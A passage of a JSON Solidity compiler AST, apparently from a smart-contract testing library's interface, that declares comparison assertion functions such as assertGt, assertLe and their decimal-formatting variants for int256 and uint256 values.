failure."},"functionSelector":"a84328dd","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50764:8:13","parameters":{"id":14073,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14068,"mutability":"mutable","name":"left","nameLocation":"50780:4:13","nodeType":"VariableDeclaration","scope":14075,"src":"50773:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14067,"name":"int256","nodeType":"ElementaryTypeName","src":"50773:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14070,"mutability":"mutable","name":"right","nameLocation":"50793:5:13","nodeType":"VariableDeclaration","scope":14075,"src":"50786:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14069,"name":"int256","nodeType":"ElementaryTypeName","src":"50786:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14072,"mutability":"mutable","name":"error","nameLocation":"50816:5:13","nodeType":"VariableDeclaration","scope":14075,"src":"50800:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14071,"name":"string","nodeType":"ElementaryTypeName","src":"50800:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50772:50:13"},"returnParameters":{"id":14074,"nodeType":"ParameterList","parameters":[],"src":"50836:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14085,"nodeType":"FunctionDefinition","src":"50986:86:13","nodes":[],"documentation":{"id":14076,"nodeType":"StructuredDocumentation","src":"50843:138:13","text":"Compares two `uint256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message."},"functionSelector":"eccd2437","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"50995:15:13","parameters":{"id":14083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14078,"mutability":"mutable","name":"left","nameLocation":"51019:4:13","nodeType":"VariableDeclaration","scope":14085,"src":"51011:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14077,"name":"uint256","nodeType":"ElementaryTypeName","src":"51011:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14080,"mutability":"mutable","name":"right","nameLocation":"51033:5:13","nodeType":"VariableDeclaration","scope":14085,"src":"51025:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14079,"name":"uint256","nodeType":"ElementaryTypeName","src":"51025:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14082,"mutability":"mutable","name":"decimals","nameLocation":"51048:8:13","nodeType":"VariableDeclaration","scope":14085,"src":"51040:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14081,"name":"uint256","nodeType":"ElementaryTypeName","src":"51040:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"51010:47:13"},"returnParameters":{"id":14084,"nodeType":"ParameterList","parameters":[],"src":"51071:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14097,"nodeType":"FunctionDefinition","src":"51275:109:13","nodes":[],"documentation":{"id":14086,"nodeType":"StructuredDocumentation","src":"51078:192:13","text":"Compares two `uint256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"64949a8d","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"51284:15:13","parameters":{"id":14095,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14088,"mutability":"mutable","name":"left","nameLocation":"51308:4:13","nodeType":"VariableDeclaration","scope":14097,"src":"51300:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14087,"name":"uint256","nodeType":"ElementaryTypeName","src":"51300:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14090,"mutability":"mutable","name":"right","nameLocation":"51322:5:13","nodeType":"VariableDeclaration","scope":14097,"src":"51314:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14089,"name":"uint256","nodeType":"ElementaryTypeName","src":"51314:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14092,"mutability":"mutable","name":"decimals","nameLocation":"51337:8:13","nodeType":"VariableDeclaration","scope":14097,"src":"51329:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14091,"name":"uint256","nodeType":"ElementaryTypeName","src":"51329:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14094,"mutability":"mutable","name":"error","nameLocation":"51363:5:13","nodeType":"VariableDeclaration","scope":14097,"src":"51347:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14093,"name":"string","nodeType":"ElementaryTypeName","src":"51347:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51299:70:13"},"returnParameters":{"id":14096,"nodeType":"ParameterList","parameters":[],"src":"51383:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14107,"nodeType":"FunctionDefinition","src":"51532:84:13","nodes":[],"documentation":{"id":14098,"nodeType":"StructuredDocumentation","src":"51390:137:13","text":"Compares two `int256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message."},"functionSelector":"78611f0e","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"51541:15:13","parameters":{"id":14105,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14100,"mutability":"mutable","name":"left","nameLocation":"51564:4:13","nodeType":"VariableDeclaration","scope":14107,"src":"51557:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14099,"name":"int256","nodeType":"ElementaryTypeName","src":"51557:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14102,"mutability":"mutable","name":"right","nameLocation":"51577:5:13","nodeType":"VariableDeclaration","scope":14107,"src":"51570:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14101,"name":"int256","nodeType":"ElementaryTypeName","src":"51570:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14104,"mutability":"mutable","name":"decimals","nameLocation":"51592:8:13","nodeType":"VariableDeclaration","scope":14107,"src":"51584:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14103,"name":"uint256","nodeType":"ElementaryTypeName","src":"51584:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"51556:45:13"},"returnParameters":{"id":14106,"nodeType":"ParameterList","parameters":[],"src":"51615:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14119,"nodeType":"FunctionDefinition","src":"51818:107:13","nodes":[],"documentation":{"id":14108,"nodeType":"StructuredDocumentation","src":"51622:191:13","text":"Compares two `int256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"04a5c7ab","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"51827:15:13","parameters":{"id":14117,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14110,"mutability":"mutable","name":"left","nameLocation":"51850:4:13","nodeType":"VariableDeclaration","scope":14119,"src":"51843:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14109,"name":"int256","nodeType":"ElementaryTypeName","src":"51843:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14112,"mutability":"mutable","name":"right","nameLocation":"51863:5:13","nodeType":"VariableDeclaration","scope":14119,"src":"51856:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14111,"name":"int256","nodeType":"ElementaryTypeName","src":"51856:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14114,"mutability":"mutable","name":"decimals","nameLocation":"51878:8:13","nodeType":"VariableDeclaration","scope":14119,"src":"51870:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14113,"name":"uint256","nodeType":"ElementaryTypeName","src":"51870:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14116,"mutability":"mutable","name":"error","nameLocation":"51904:5:13","nodeType":"VariableDeclaration","scope":14119,"src":"51888:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14115,"name":"string","nodeType":"ElementaryTypeName","src":"51888:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51842:68:13"},"returnParameters":{"id":14118,"nodeType":"ParameterList","parameters":[],"src":"51924:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14127,"nodeType":"FunctionDefinition","src":"52017:61:13","nodes":[],"documentation":{"id":14120,"nodeType":"StructuredDocumentation","src":"51931:81:13","text":"Compares two `uint256` values. Expects first value to be greater than second."},"functionSelector":"db07fcd2","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52026:8:13","parameters":{"id":14125,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14122,"mutability":"mutable","name":"left","nameLocation":"52043:4:13","nodeType":"VariableDeclaration","scope":14127,"src":"52035:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14121,"name":"uint256","nodeType":"ElementaryTypeName","src":"52035:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14124,"mutability":"mutable","name":"right","nameLocation":"52057:5:13","nodeType":"VariableDeclaration","scope":14127,"src":"52049:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14123,"name":"uint256","nodeType":"ElementaryTypeName","src":"52049:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52034:29:13"},"returnParameters":{"id":14126,"nodeType":"ParameterList","parameters":[],"src":"52077:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14137,"nodeType":"FunctionDefinition","src":"52232:84:13","nodes":[],"documentation":{"id":14128,"nodeType":"StructuredDocumentation","src":"52084:143:13","text":"Compares two `uint256` values. Expects first value to be greater than second.\n Includes error message into revert string on failure."},"functionSelector":"d9a3c4d2","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52241:8:13","parameters":{"id":14135,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14130,"mutability":"mutable","name":"left","nameLocation":"52258:4:13","nodeType":"VariableDeclaration","scope":14137,"src":"52250:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14129,"name":"uint256","nodeType":"ElementaryTypeName","src":"52250:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14132,"mutability":"mutable","name":"right","nameLocation":"52272:5:13","nodeType":"VariableDeclaration","scope":14137,"src":"52264:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14131,"name":"uint256","nodeType":"ElementaryTypeName","src":"52264:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14134,"mutability":"mutable","name":"error","nameLocation":"52295:5:13","nodeType":"VariableDeclaration","scope":14137,"src":"52279:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14133,"name":"string","nodeType":"ElementaryTypeName","src":"52279:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"52249:52:13"},"returnParameters":{"id":14136,"nodeType":"ParameterList","parameters":[],"src":"52315:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14145,"nodeType":"FunctionDefinition","src":"52407:59:13","nodes":[],"documentation":{"id":14138,"nodeType":"StructuredDocumentation","src":"52322:80:13","text":"Compares two `int256` values. Expects first value to be greater than second."},"functionSelector":"5a362d45","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52416:8:13","parameters":{"id":14143,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14140,"mutability":"mutable","name":"left","nameLocation":"52432:4:13","nodeType":"VariableDeclaration","scope":14145,"src":"52425:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14139,"name":"int256","nodeType":"ElementaryTypeName","src":"52425:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14142,"mutability":"mutable","name":"right","nameLocation":"52445:5:13","nodeType":"VariableDeclaration","scope":14145,"src":"52438:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14141,"name":"int256","nodeType":"ElementaryTypeName","src":"52438:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"52424:27:13"},"returnParameters":{"id":14144,"nodeType":"ParameterList","parameters":[],"src":"52465:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14155,"nodeType":"FunctionDefinition","src":"52619:82:13","nodes":[],"documentation":{"id":14146,"nodeType":"StructuredDocumentation","src":"52472:142:13","text":"Compares two `int256` values. Expects first value to be greater than second.\n Includes error message into revert string on failure."},"functionSelector":"f8d33b9b","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52628:8:13","parameters":{"id":14153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14148,"mutability":"mutable","name":"left","nameLocation":"52644:4:13","nodeType":"VariableDeclaration","scope":14155,"src":"52637:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14147,"name":"int256","nodeType":"ElementaryTypeName","src":"52637:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14150,"mutability":"mutable","name":"right","nameLocation":"52657:5:13","nodeType":"VariableDeclaration","scope":14155,"src":"52650:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14149,"name":"int256","nodeType":"ElementaryTypeName","src":"52650:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14152,"mutability":"mutable","name":"error","nameLocation":"52680:5:13","nodeType":"VariableDeclaration","scope":14155,"src":"52664:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14151,"name":"string","nodeType":"ElementaryTypeName","src":"52664:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"52636:50:13"},"returnParameters":{"id":14154,"nodeType":"ParameterList","parameters":[],"src":"52700:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14165,"nodeType":"FunctionDefinition","src":"52859:86:13","nodes":[],"documentation":{"id":14156,"nodeType":"StructuredDocumentation","src":"52707:147:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"c304aab7","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"52868:15:13","parameters":{"id":14163,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14158,"mutability":"mutable","name":"left","nameLocation":"52892:4:13","nodeType":"VariableDeclaration","scope":14165,"src":"52884:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14157,"name":"uint256","nodeType":"ElementaryTypeName","src":"52884:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14160,"mutability":"mutable","name":"right","nameLocation":"52906:5:13","nodeType":"VariableDeclaration","scope":14165,"src":"52898:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14159,"name":"uint256","nodeType":"ElementaryTypeName","src":"52898:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14162,"mutability":"mutable","name":"decimals","nameLocation":"52921:8:13","nodeType":"VariableDeclaration","scope":14165,"src":"52913:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14161,"name":"uint256","nodeType":"ElementaryTypeName","src":"52913:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52883:47:13"},"returnParameters":{"id":14164,"nodeType":"ParameterList","parameters":[],"src":"52944:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14177,"nodeType":"FunctionDefinition","src":"53157:109:13","nodes":[],"documentation":{"id":14166,"nodeType":"StructuredDocumentation","src":"52951:201:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"7fefbbe0","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"53166:15:13","parameters":{"id":14175,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14168,"mutability":"mutable","name":"left","nameLocation":"53190:4:13","nodeType":"VariableDeclaration","scope":14177,"src":"53182:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14167,"name":"uint256","nodeType":"ElementaryTypeName","src":"53182:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14170,"mutability":"mutable","name":"right","nameLocation":"53204:5:13","nodeType":"VariableDeclaration","scope":14177,"src":"53196:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14169,"name":"uint256","nodeType":"ElementaryTypeName","src":"53196:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14172,"mutability":"mutable","name":"decimals","nameLocation":"53219:8:13","nodeType":"VariableDeclaration","scope":14177,"src":"53211:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14171,"name":"uint256","nodeType":"ElementaryTypeName","src":"53211:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14174,"mutability":"mutable","name":"error","nameLocation":"53245:5:13","nodeType":"VariableDeclaration","scope":14177,"src":"53229:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14173,"name":"string","nodeType":"ElementaryTypeName","src":"53229:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53181:70:13"},"returnParameters":{"id":14176,"nodeType":"ParameterList","parameters":[],"src":"53265:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14187,"nodeType":"FunctionDefinition","src":"53423:84:13","nodes":[],"documentation":{"id":14178,"nodeType":"StructuredDocumentation","src":"53272:146:13","text":"Compares two `int256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"11d1364a","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"53432:15:13","parameters":{"id":14185,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14180,"mutability":"mutable","name":"left","nameLocation":"53455:4:13","nodeType":"VariableDeclaration","scope":14187,"src":"53448:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14179,"name":"int256","nodeType":"ElementaryTypeName","src":"53448:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14182,"mutability":"mutable","name":"right","nameLocation":"53468:5:13","nodeType":"VariableDeclaration","scope":14187,"src":"53461:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14181,"name":"int256","nodeType":"ElementaryTypeName","src":"53461:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14184,"mutability":"mutable","name":"decimals","nameLocation":"53483:8:13","nodeType":"VariableDeclaration","scope":14187,"src":"53475:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14183,"name":"uint256","nodeType":"ElementaryTypeName","src":"53475:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53447:45:13"},"returnParameters":{"id":14186,"nodeType":"ParameterList","parameters":[],"src":"53506:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14199,"nodeType":"FunctionDefinition","src":"53718:107:13","nodes":[],"documentation":{"id":14188,"nodeType":"StructuredDocumentation","src":"53513:200:13","text":"Compares two `int256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"aa5cf788","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"53727:15:13","parameters":{"id":14197,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14190,"mutability":"mutable","name":"left","nameLocation":"53750:4:13","nodeType":"VariableDeclaration","scope":14199,"src":"53743:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14189,"name":"int256","nodeType":"ElementaryTypeName","src":"53743:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14192,"mutability":"mutable","name":"right","nameLocation":"53763:5:13","nodeType":"VariableDeclaration","scope":14199,"src":"53756:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14191,"name":"int256","nodeType":"ElementaryTypeName","src":"53756:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14194,"mutability":"mutable","name":"decimals","nameLocation":"53778:8:13","nodeType":"VariableDeclaration","scope":14199,"src":"53770:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14193,"name":"uint256","nodeType":"ElementaryTypeName","src":"53770:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14196,"mutability":"mutable","name":"error","nameLocation":"53804:5:13","nodeType":"VariableDeclaration","scope":14199,"src":"53788:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14195,"name":"string","nodeType":"ElementaryTypeName","src":"53788:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53742:68:13"},"returnParameters":{"id":14198,"nodeType":"ParameterList","parameters":[],"src":"53824:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14207,"nodeType":"FunctionDefinition","src":"53926:61:13","nodes":[],"documentation":{"id":14200,"nodeType":"StructuredDocumentation","src":"53831:90:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second."},"functionSelector":"8466f415","implemented":false,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"53935:8:13","parameters":{"id":14205,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14202,"mutability":"mutable","name":"left","nameLocation":"53952:4:13","nodeType":"VariableDeclaration","scope":14207,"src":"53944:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14201,"name":"uint256","nodeType":"ElementaryTypeName","src":"53944:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14204,"mutability":"mutable","name":"right","nameLocation":"53966:5:13","nodeType":"VariableDeclaration","scope":14207,"src":"53958:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14203,"name":"uint256","nodeType":"ElementaryTypeName","src":"53958:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53943:29:13"},"returnParameters":{"id":14206,"nodeType":"ParameterList","parameters":[],"src":"53986:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14217,"nodeType":"FunctionDefinition","src":"54150:84:13","nodes":[],"documentation":{"id":14208,"nodeType":"StructuredDocumentation","src":"53993:152:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second.\n Includes error message into revert string on failure."},"functionSelector":"d17d4b0d","implemented":false,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"54159:8:13","parameters":{"id":14215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14210,"mutability":"mutable","name":"left","nameLocation":"54176:4:13","nodeType":"VariableDeclaration","scope":14217,"src":"54168:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14209,"name":"uint256","nodeType":"ElementaryTypeName","src":"54168:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14212,"mutability":"mutable","name":"right","nameLocation":"54190:5:13","nodeType":"VariableDeclaration","scope":14217,"src":"54182:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14211,"name":"uint256","nodeType":"ElementaryTypeName","src":"54182:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14214,"mutability":"mutable","name":"error","nameLocation":"54213:5:13","nodeType":"VariableDeclaration","scope":14217,"src":"54197:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14213,"name":"string","nodeType":"ElementaryTypeName","src":"54197:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"54167:52:13"},"returnParameters":{"id":14216,"nodeType":"ParameterList","parameters":[],"src":"54233:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14225,"nodeType":"FunctionDefinition","src":"54334:59:13","nodes":[],"documentation":{"id":14218,"nodeType":"StructuredDocumentation","src":"54240:89:13","text":"Compares two `int256` values. Expects first value to be less than or equal to 